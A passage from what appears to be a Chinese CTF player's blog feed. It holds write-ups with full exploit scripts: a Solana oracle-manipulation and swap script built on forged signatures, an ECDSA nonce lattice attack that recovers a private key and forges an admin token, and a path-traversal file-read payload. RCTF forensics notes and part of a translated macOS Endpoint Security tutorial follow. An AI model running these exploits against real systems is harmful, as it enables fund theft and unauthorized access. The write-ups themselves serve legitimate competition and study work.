        params = serialize_params(custody_pda, price, expo, 1, price, fresh_ts())
        fake, real = forge_ed25519_pair(admin, params, attacker_keypair)
        ix = Instruction(program_id, IX_SET_CUSTOM_ORACLE_PRICE + params, [
            AccountMeta(perpetuals_pda, False, False),
            AccountMeta(pool_pda, False, False),
            AccountMeta(custody_pda, False, False),
            AccountMeta(oracle_pda, False, True),
            AccountMeta(SYSVAR_INSTRUCTIONS_ID, False, False),
        ])
        client.send_transaction([fake, real, ix])
        client.reconnect()

    def swap_m1_to_m2(amount):
        data = IX_SWAP + struct.pack(&#34;&lt;Q&#34;, amount) + struct.pack(&#34;&lt;Q&#34;, 0)
        ix = Instruction(program_id, data, [
            AccountMeta(player, True, True),
            AccountMeta(player_ata1, False, True),
            AccountMeta(player_ata2, False, True),
            AccountMeta(transfer_authority_pda, False, False),
            AccountMeta(perpetuals_pda, False, False),
            AccountMeta(pool_pda, False, True),
            AccountMeta(custody1_pda, False, True),
            AccountMeta(oracle1_pda, False, False),
            AccountMeta(custody1_token, False, True),
            AccountMeta(custody2_pda, False, True),
            AccountMeta(oracle2_pda, False, False),
            AccountMeta(custody2_token, False, True),
            AccountMeta(SPL_TOKEN_ID, False, False),
        ])
        client.send_transaction([ix])
        client.reconnect()

    def swap_m2_to_m1(amount):
        data = IX_SWAP + struct.pack(&#34;&lt;Q&#34;, amount) + struct.pack(&#34;&lt;Q&#34;, 0)
        ix = Instruction(program_id, data, [
            AccountMeta(player, True, True),
            AccountMeta(player_ata2, False, True),
            AccountMeta(player_ata1, False, True),
            AccountMeta(transfer_authority_pda, False, False),
            AccountMeta(perpetuals_pda, False, False),
            AccountMeta(pool_pda, False, True),
            AccountMeta(custody2_pda, False, True),
            AccountMeta(oracle2_pda, False, False),
            AccountMeta(custody2_token, False, True),
            AccountMeta(custody1_pda, False, True),
            AccountMeta(oracle1_pda, False, False),
            AccountMeta(custody1_token, False, True),
            AccountMeta(SPL_TOKEN_ID, False, False),
        ])
        client.send_transaction([ix])
        client.reconnect()

    def fetch_metrics():
        url = f&#34;http://{host}:8080/metrics&#34;
        data = json.loads(urllib.request.urlopen(url).read().decode())
        return float(data[&#34;custody1&#34;]), float(data[&#34;custody2&#34;]), float(data[&#34;aum&#34;])
    set_oracle(custody1_pda, oracle1_pda, 1_000_000_000, -3)
    set_oracle(custody2_pda, oracle2_pda, 1_000_000_000, -9)
    swap_m1_to_m2(900)
    c1,c2,aum = fetch_metrics()

    def a2b(amount, times, p1,e1 ,p2,e2):
        for _ in range(times):
            p1, e1 = 1_000_000_000, -7
            p2, e2 = 1_000_000_000, -5
            set_oracle(custody1_pda, oracle1_pda, p1, e1)
            set_oracle(custody2_pda, oracle2_pda, p2, e2)
            swap_m2_to_m1(amount)

            c1,c2,aum = fetch_metrics()
            print(f&#34;A-B {c1=} {c2=} {aum=}&#34;)
            sleep(0.1)
    def b2a(amount, times, p1,e1 ,p2,e2):
        for _ in range(times):
            p1, e1 = 1_000_000_000, -3
            p2, e2 = 1_000_000_000, -6
            set_oracle(custody1_pda, oracle1_pda, p1, e1)
            set_oracle(custody2_pda, oracle2_pda, p2, e2)
            swap_m1_to_m2(amount)

            c1,c2,aum = fetch_metrics()
            print(f&#34;B-A {c1=} {c2=} {aum=}&#34;)
            sleep(0.1)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 6, 1_000_000_000, -3, 1_000_000_000, -6)
    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)
    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)
    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 20, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 12, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_000, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_00_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_00, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_0_000, 20, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_00, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_0_000, 8, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_00, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_0_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)


    a2b(10_0, 7, 1_000_000_000, -7, 1_000_000_000, -5)
    b2a(10_000, 7, 1_000_000_000, -3, 1_000_000_000, -6)

    client.r.sendlineafter(&#34;num instructions:&#34;, b&#34;0&#34;)
    client.r.close()



if __name__ == &#34;__main__&#34;:
    main()
</code></pre><h4 id="trustsql">TrustSQL</h4><p>依旧codex</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/09741e867b6fd0e8d7a24ce1c7e400b6.webp" width="2788" height="872" /></figure><p>秒了</p><p>这个太刻晴了，给我整甘雨了，，，这真是realworld？出成ctf吧，没什么必要上去演示</p><h4 id="forge">Forge</h4><p>好像队友也是用ai切的，反正主要操作是做调用然后侧信道？吧</p><pre><code class="language-python" data-language="python">from requests import get, post

import requests
import json
import time
import os
from hashlib import sha256
from ecdsa import SigningKey, SECP256k1
import base64

url = &#34;http://10.10.10.233:5000&#34;

def get_pubkey():
    r = requests.get(f&#34;{url}/api/pubkey&#34;)
    return bytes.fromhex(r.json()[&#39;vk&#39;])

def collect_data():
    # Parameters
    kbits = 240
    train_times = 100
    ncount = 400
    
    print(f&#34;[*] Setting parameters: kbits={kbits}, train={train_times}, ncount={ncount}&#34;)
    r = requests.post(f&#34;{url}/api/set_param&#34;, json={
        &#34;kbits&#34;: kbits,
        &#34;train&#34;: train_times,
        &#34;ncount&#34;: ncount
    })
    print(f&#34;[*] Set param response: {r.json()}&#34;)
    
    print(&#34;[*] Collecting training data...&#34;)
    r = requests.get(f&#34;{url}/api/train&#34;)
    data = r.json()
    costs = data[&#39;costs&#39;]
    sigs = data[&#39;sigs&#39;]
    
    # Pair them up
    pairs = []
    for c, s in zip(costs, sigs):
        pairs.append((c, s))
        
    # Sort by cost (ascending)
    pairs.sort(key=lambda x: x[0])
    
    # Take the top ones (fastest)
    # We expect half of them to be small k (kbits=240)
    # Let&#39;s take top 60 to be very safe
    top_pairs = pairs[:60]
    
    print(f&#34;[*] Collected {len(top_pairs)} signatures with low signing time.&#34;)

    
    # Prepare data for Sage
    # We need r, s, and the message hash
    # Message is fixed in server.py: b&#34;Not your keys, not your coins!&#34;
    msg = b&#34;Not your keys, not your coins!&#34;
    msg_digest = sha256(msg).digest().hex()
    
    output = {
        &#34;msg_digest&#34;: msg_digest,
        &#34;sigs&#34;: [p[1] for p in top_pairs],
        &#34;n&#34;: int(SECP256k1.order),
        &#34;kbits&#34;: kbits
    }
    
    with open(&#34;data.json&#34;, &#34;w&#34;) as f:
        json.dump(output, f)
    print(&#34;[*] Data saved to data.json&#34;)

def forge_token():
    if not os.path.exists(&#34;privkey.txt&#34;):
        print(&#34;[-] privkey.txt not found. Run solve.sage first.&#34;)
        return

    with open(&#34;privkey.txt&#34;, &#34;r&#34;) as f:
        d = int(f.read())
    
    print(f&#34;[*] Loaded private key: {d}&#34;)
    sk = SigningKey.from_secret_exponent(d, curve=SECP256k1)
    
    # Verify against public key
    vk = sk.verifying_key
    r = requests.get(f&#34;{url}/api/pubkey&#34;)
    server_vk_hex = r.json()[&#39;vk&#39;]
    my_vk_hex = vk.to_string().hex()
    
    print(f&#34;[*] Server VK: {server_vk_hex}&#34;)
    print(f&#34;[*] My VK:     {my_vk_hex}&#34;)
    
    if server_vk_hex != my_vk_hex:
        print(&#34;[-] Private key mismatch! The recovered key is incorrect.&#34;)
        return

    print(&#34;[+] Private key verified!&#34;)
    
    # Payload
    payload = json.dumps({&#34;username&#34;: &#34;admin&#34;}).encode()
    # The server decodes base64 payload
    # payload = base64.b64decode(payload)
    # So we need to base64 encode it
    payload_b64 = base64.b64encode(payload).decode()
    
    # Sign payload
    # verify_token:
    # msg = parts[0].encode() -&gt; this is payload_b64.encode()
    msg = payload_b64.encode()
    msg_digest = sha256(msg).digest()
    
    signature = sk.sign_digest(msg_digest)
    sig_b64 = base64.b64encode(signature).decode()
    
    token = f&#34;{payload_b64}.{sig_b64}&#34;
    print(f&#34;[*] Forged token: {token}&#34;)
    
    # Access welcome
    cookies = {&#39;token&#39;: token}
    r = requests.get(f&#34;{url}/welcome&#34;, cookies=cookies)
    
    print(&#34;[*] Response from /welcome:&#34;)
    print(r.text)
    
    if &#34;flag&#34; in r.text.lower() or &#34;admin&#34; in r.text.lower():
        print(&#34;[+] Exploitation successful!&#34;)
        return token




if __name__ == &#34;__main__&#34;:
    while True:
        os.system(&#34;rm privkey.txt&#34;)
        os.system(&#34;rm data.json&#34;)
        collect_data()
        os.system(&#34;sage solve.sage&#34;)
        try:
            token = forge_token()
            if token is not None:
                print(f&#34;[+] Use this token to access admin: {token}&#34;)
                break
            else:
                print(&#34;[-] Failed to forge token.&#34;)
                continue
        except Exception as e:
            print(f&#34;[-] Error during forging token: {e}&#34;)
            continue</code></pre><pre><code class="language-python" data-language="python">import json
from sage.all import *

def solve():
    print(&#34;[*] Loading data...&#34;)
    with open(&#34;data.json&#34;, &#34;r&#34;) as f:
        data = json.load(f)

    sigs = data[&#34;sigs&#34;]
    msg_digest = int(data[&#34;msg_digest&#34;], 16)
    n = int(data[&#34;n&#34;])
    kbits = data[&#34;kbits&#34;]
    
    # Parse signatures
    parsed_sigs = []
    for s_hex in sigs:
        r = int(s_hex[:64], 16)
        s = int(s_hex[64:], 16)
        parsed_sigs.append((r, s))
        
    m = len(parsed_sigs)
    print(f&#34;[*] Loaded {m} signatures&#34;)
    
    # Prepare HNP parameters
    # k = s^-1 * (z + r * d) mod n
    # k = s^-1 * z + s^-1 * r * d mod n
    # k = t + u * d mod n
    
    ts = []
    us = []
    
    for r, s in parsed_sigs:
        s_inv = inverse_mod(s, n)
        t = (s_inv * msg_digest) % n
        u = (s_inv * r) % n
        ts.append(t)
        us.append(u)
        
    # Eliminate d
    # k_i = t_i + u_i * d mod n
    # k_1 = t_1 + u_1 * d mod n  =&gt; d = u_1^-1 * (k_1 - t_1) mod n
    # k_i = t_i + u_i * u_1^-1 * (k_1 - t_1) mod n
    # k_i = t_i + w_i * (k_1 - t_1) mod n
    # k_i = t_i + w_i * k_1 - w_i * t_1 mod n
    # k_i - w_i * k_1 = t_i - w_i * t_1 mod n
    # Let c_i = t_i - w_i * t_1 mod n
    # k_i - w_i * k_1 - l_i * n = c_i
    # k_i = w_i * k_1 + l_i * n + c_i
    
    # Try different subsets
    available_sigs = len(sigs)
    for num_sigs in [20, 25, 30, 40, 50, 60]:
        if num_sigs &gt; available_sigs:
            break
            
        print(f&#34;[*] Trying with {num_sigs} signatures...&#34;)
        
        subset_indices = range(num_sigs)
        
        # Recalculate ws and cs for this subset
        # We need to re-index relative to the first element of the subset
        
        # Let&#39;s just use the first num_sigs from the sorted list
        # We assume they are sorted by quality (time)
        
        current_ts = ts[:num_sigs]
        current_us = us[:num_sigs]
        
        u1_inv = inverse_mod(current_us[0], n)
        ws = []
        cs = []
        
        # Centering
        # k_i = w_i * k_1 + l_i * n + c_i
        # We want k_i in [0, 2^kbits)
        # Shift to [-2^(kbits-1), 2^(kbits-1))
        # k_i_centered = k_i - 2^(kbits-1)
        # k_i_centered + 2^(kbits-1) = w_i * (k_1_centered + 2^(kbits-1)) + l_i * n + c_i
        # k_i_centered = w_i * k_1_centered + l_i * n + (c_i + w_i * 2^(kbits-1) - 2^(kbits-1))
        
        bias = 2**(kbits-1)
        
        for i in range(num_sigs):
            w = (current_us[i] * u1_inv) % n
            c = (current_ts[i] - w * current_ts[0]) % n
            
            # Adjust c for centering
            c_prime = (c + w * bias - bias) % n
            
            ws.append(w)
            cs.append(c_prime)
            
        B = 2**(kbits-1) # Bound is now half the range
        
        matrix_rows = []
        
        # Row for k1_centered
        row = [1] + ws[1:] + [0]
        matrix_rows.append(row)
        
        # Rows for n
        for i in range(num_sigs-1):
            row = [0] * (num_sigs+1)
            row[i+1] = n
            matrix_rows.append(row)
            
        # Row for target
        row = [0] + cs[1:] + [B]
        matrix_rows.append(row)
        
        mat = Matrix(ZZ, matrix_rows)
        
        # print(&#34;[*] LLL reduction...&#34;)
        L = mat.LLL()
        
        for row in L:
            if abs(row[-1]) == B:
                pot_k1_centered = row[0]
                if row[-1] &lt; 0:
                    pot_k1_centered = -pot_k1_centered
                    
                # Recover k1
                pot_k1 = pot_k1_centered + bias
                
                # Calculate d
                d = (u1_inv * (pot_k1 - current_ts[0])) % n
                
                # Verify
                k2_calc = (current_ts[1] + current_us[1] * d) % n
                
                # Check if k2 is small (it should be)
                # Also check if it matches the public key if we had it, but we don&#39;t easily here.
                # But we can check if the recovered d is consistent with ALL signatures in the subset
                
                consistent = True
                for j in range(num_sigs):
                    kj_calc = (current_ts[j] + current_us[j] * d) % n
                    if kj_calc &gt;= 2**kbits:
                        consistent = False
                        break
                
                if consistent:
                     print(f&#34;[+] Found private key: {d}&#34;)
                     with open(&#34;privkey.txt&#34;, &#34;w&#34;) as f:
                         f.write(str(d))
                     print(&#34;[*] Private key saved to privkey.txt&#34;)
                     return

    print(&#34;[-] Failed to recover private key&#34;)

if __name__ == &#34;__main__&#34;:
    solve()
</code></pre><h3 id="awdu">AWDU</h3><p>叫什么awdu啊，就是现在awd不都是这样么</p><h4 id="web-fox">Web - fox</h4><p>第一个洞</p><p><code>response = </code><code><strong>r</strong></code><code>.</code><code><strong>post</strong></code><code>(f&#34;http://{ip}:{port}/index.php/plus/download/file&#34;, data={&#34;name&#34;: &#34;../../../../../../../../../flag&#34;}).text</code> 任意读。name必须走post发来避开他防火墙，所以fix就是反过来把post给收掉。</p><p>第二个洞</p><p>应该是Zipdown的解压，可以构造恶意包解压来做任意写。没写出来攻击。</p><h4 id="pwn-smiles">Pwn - smiles</h4><pre><code class="language-shell" data-language="shell">ADD
.  /flag</code></pre><p>三个空格。怎么还是个后门来的。</p><p>队里没pwn了，做到这样差不多拼尽全力了…后面复现试试看做其他的？</p>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/ctf">CTF</category>
            <category domain="https://nvme0n1p.dev/tags/ji-shu">技术</category>
            <category domain="https://nvme0n1p.dev/tags/ti-jie">题解</category>
            <category domain="https://nvme0n1p.dev/cats/ti-jie">题解</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/2025-qwb-final.png" />
        </item>
        <item>
            <title><![CDATA[2025 RCTF题解]]></title>
            <link>https://nvme0n1p.dev/posts/2025-rctf-wp</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/2025-rctf-wp</guid>
            <pubDate>Tue, 18 Nov 2025 11:10:23 GMT</pubDate>
            <description><![CDATA[]]></description>
            <content:encoded><![CDATA[<p>原来已经25年RCTF了。24RCTF记得我还在福州的地铁上打了一两个</p><p>把我做了的放上来吧。</p><h3 id="wanna-feel-love">Wanna feel love</h3><p><strong>chal.1</strong> She only wanted to sing, but her voice was hidden in silence. What is this email trying to tell you? Look beyond what you hear — seek the whispers in the shadows, the comments that were never meant to be seen.</p><p>给了个eml，看着没有实际意义的，尝试用spammimic解码就有。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/5d3bfbec790a1e9ff66848c256546f56.webp" width="902" height="217" /></figure><p><strong>chal.2</strong> She wants to tell you something, encoded in melodies. Within the digital symphony, her true voice emerges. What is the hidden message found in the XM file? The words she longed to sing, the feeling she wanted to share.</p><p>附件里有一个xm文件，找个支持声轨的软件打开听感觉是morse，但并不是。发现刚好是8的倍数，于是转了下</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/039e0b34f577ce71ba6288e1cc4e7353.webp" width="799" height="244" /></figure><p><strong>chal.3</strong> She just feels love, and her legend once spread across YouTube. Her song touched hearts, but the original video on the YouTube platform has been removed — deleted, re-uploaded, distorted, like memories fading with time. Through the fragments of public records, find where her voice first echoed: the original video ID, upload date (YYYY-MM-DD), and the one who first shared her song.</p><p>不懂然后问了下gpt。真的会被取代掉吧。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/1d52bdd4d064bd96d56504f3bd799651.webp" width="1022" height="588" /></figure><p><strong>chal.4</strong> Her creator captured her voice, preserved in a 15-minute audio/video DVD. She only wanted to sing, and he gave her that chance. If you wish to purchase her album, to hear her songs of love, which link should you visit? After purchasing, who is the sender? And what is the actual creation year when these musical compositions first came to life?</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/421c61df5e42a96bcd28021e04aaaa4f.webp" width="1051" height="907" /></figure><p>对了一大半，最后这个名字寄件人是网站页脚的</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/af556bf67d9d5d55cead0fa0df6705a7.webp" width="997" height="319" /></figure><p><strong>chal.5</strong> Some called her creator a murderer, others said he built her out of love. She only wanted to sing. She wants to tell you. She just feels love. The truth lies in older archives — an obituary, a quiet memorial, where the story of her creator rests in digital silence. Find the developer&#39;s digital grave. (URL, no trailing slash)</p><p>还是能秒。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/5d5e2cc9908a4632cdee3380e52ba111.webp" width="967" height="377" /></figure><p>后记：对着一个诡异女机器人搜东西真的很吓人</p><h3 id="asgard-fallen-down"><strong>Asgard Fallen Down</strong></h3><figure><img src="https://cdn.nvme0n1p.dev/2026/07/e7e20765c9461909149c7fa16e9a331e.webp" width="1796" height="753" /></figure><p>Chal.1 What was the first command Loki executed after his agent established connection?</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/90e05bd5bafaeed85dc34117ded67035.webp" width="1774" height="495" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/8520fbbc17960d5aed215a75b77322e3.webp" width="2008" height="655" /></figure><p>Chal.2 How many seconds passed between each heartbeat of Loki&#39;s agent?</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/56679abca98dc1fa0e9665082287a055.webp" width="1314" height="280" /></figure><p>盲猜10</p><p>Chal.3 What processor model powers Thor&#39;s machine?</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/daaeae8e92c14167eda4eeb0edce4573.webp" width="1784" height="153" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/06787c1f8370c75896ffae25e20c277e.webp" width="1249" height="634" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/3c568a2136419e4584ec5d03f3bb3e0c.webp" width="1742" height="732" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/6190d0d68e58fb0bb5ced0d6e3a6fd3c.webp" width="1961" height="947" /></figure><p>Chal.4 According to the screenshot Loki exfiltrated, which vulnerability scanning tool was Thor running at that moment?</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/f89401eb5ef516ff358d02d63c7cee71.webp" width="1800" height="1277" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/9fc906580ff61033e590ce9785a03f69.webp" width="1246" height="744" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/ec89a86c40c244d30c683b14254a9507.webp" width="1769" height="1062" /></figure><p>全复制进来</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/bf7855551df9634d17cae583ecc9a0e4.webp" width="1252" height="998" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/74f458197efd059e0257520e00701878.webp" width="2003" height="945" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/7a7e102b51506b15c2fbad251ad78e52.webp" width="1042" height="540" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/d8abcbf4cf455006d7ef7c915a1a82c6.webp" width="762" height="367" /></figure><h3 id="shadows-of-asgard">Shadows of Asgard</h3><p>Chal.1 What is the name of the company Loki used as camouflage on his C2 server&#39;s front page?</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/86b21c7cb6514fb5aee41f3fbffecab5.webp" width="1407" height="922" /></figure><p>Chal.2   Identify the complete file path where Loki&#39;s C2 agent was running.</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/d2f9a9d97688bfefcb41a1d8a8079ecb.webp" width="1767" height="319" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/ae68cbfdfceb1ef4e88ab8876a1be55b.webp" width="759" height="325" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/39fcebb3af7d8cf2bc701fd54f4b3a15.webp" width="1032" height="445" /></figure><p>Chal.3 What is the taskId for the pwd command that Loki executed?</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/d48b2ab6da2b3351dfca8c190cb13e68.webp" width="1757" height="404" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/eb8608d7dee0468b87fb6c47bdbceb27.webp" width="531" height="192" /></figure><p>Chal.4 When was Thor&#39;s C: drive created?</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/4d9514f465208d9eda054784d501ce3d.webp" width="1744" height="379" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/07f1321bab6a66e30e1bcbcdc8b8163a.webp" width="491" height="238" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/118a43e59d14450de8ac063c81ad503e.webp" width="1754" height="268" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/adccf8acf971783f06fb38c811cb31ee.webp" width="792" height="101" /></figure><p>Chal.5 What secret message did Loki hide in the file he uploaded?</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/09d42fa13e52b839d5cbaf047076efb1.webp" width="1751" height="441" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/a1f044780ca0a7b17ba0b7f1d7260f39.webp" width="1074" height="163" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/74410b076a901056d67e124673f87b88.webp" width="910" height="665" /></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/16a6e7321a40cb38e21e43cb90691222.webp" width="829" height="314" /></figure>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/ctf">CTF</category>
            <category domain="https://nvme0n1p.dev/tags/ji-shu">技术</category>
            <category domain="https://nvme0n1p.dev/tags/ti-jie">题解</category>
            <category domain="https://nvme0n1p.dev/cats/ti-jie">题解</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/2025-rctf-wp.png" />
        </item>
        <item>
            <title><![CDATA[转载：使用Apple的Endpoint Security框架开发进程监视器]]></title>
            <link>https://nvme0n1p.dev/posts/writing-a-process-monitor-with-apple-s-endpoint-security-framework</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/writing-a-process-monitor-with-apple-s-endpoint-security-framework</guid>
            <pubDate>Tue, 04 Nov 2025 11:20:10 GMT</pubDate>
            <description><![CDATA[搜到了，正好在做，就翻译一下吧！]]></description>
            <content:encoded><![CDATA[<p>原文链接：<a href="https://objective-see.org/blog/blog_0x47.html">Objective-See Blog – Writing a Process Monitor with Apple’s Endpoint Security Framework</a></p><hr /><h3 id="xie-zai-qian-mian">写在前面</h3><p>安全工具的常见组件之一是<strong>进程监视器（process monitor）</strong>——它监听新进程的创建事件并提取相关信息，如 PID、路径、参数及 Code Signing 信息。</p><p>Patrick Wardle 在其多款 Objective-See 工具中都使用了进程监控逻辑，例如：</p><ul><li><strong>RansomWhere?</strong>：监控加密行为，判断是否为勒索软件。</li><li><strong>TaskExplorer</strong>：实时显示系统运行的进程。</li><li><strong>BlockBlock</strong>：关联持久化事件与具体进程。</li></ul><p>由于每次都需重复编写监控逻辑，他后来将其封装为独立库 ProcInfo（基于 OpenBSM）。</p><hr /><h3 id="cong-openbsm-dao-endpoint-security-framework">从 OpenBSM 到 Endpoint Security Framework</h3><p>在 macOS 10.15 以前，用户态想捕获进程事件主要依赖 <strong>OpenBSM 审计子系统</strong>。</p><p>但 OpenBSM 存在多项缺点：</p><ol><li>接口复杂，需要手动解析二进制 audit 记录；</li><li>审计事件不包含 Code Signing 信息，需额外查询；</li><li>是被动的（事件发生后才上报），难以实现主动防御。</li></ol><hr /><h3 id="apple-endpoint-security-framework">Apple Endpoint Security Framework</h3><p>随着苹果禁止三方进入内核并推出 System Extensions，苹果在 10.15 引入了新的 <strong>Endpoint Security Framework (ESF)</strong>，它提供用户态接口以订阅安全事件。</p><p><strong>优势：</strong></p><ul><li>清晰简单的 API；</li><li>事件中直接包含 Code Signing 信息；</li><li>可主动响应（拦截）或被动监听安全事件。</li></ul><hr /><h3 id="huan-jing-yu-qian-ti">环境与前提</h3><p>要使用 Endpoint Security Framework 需要：</p><ol><li><strong>Entitlement：</strong> <code>com.apple.developer.endpoint-security.client</code></li></ol><ul><li>向 Apple 申请或在禁用 SIP 环境下自行添加：</li></ul><pre><code class="language-xml" data-language="xml">&lt;key&gt;com.apple.developer.endpoint-security.client&lt;/key&gt;
&lt;true/&gt;</code></pre><ol><li><strong>Xcode 11 及 macOS 10.15 SDK</strong></li><li><strong>系统版本：macOS 10.15 及以上</strong></li></ol><hr /><h3 id="chuang-jian-es-ke-hu-duan">创建 ES 客户端</h3><ol><li>头文件位置：</li></ol><pre><code class="language-text" data-language="text">/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/usr/include/EndpointSecurity/</code></pre><ol><li>在代码中：</li></ol><pre><code class="language-objective-c" data-language="objective-c">#import &lt;EndpointSecurity/EndpointSecurity.h&gt;
es_client_t *endpointClient = nil;
result = es_new_client(&amp;endpointClient, ^(es_client_t *client, const es_message_t *message) {
    // 事件处理
});
if (result != ES_NEW_CLIENT_RESULT_SUCCESS)
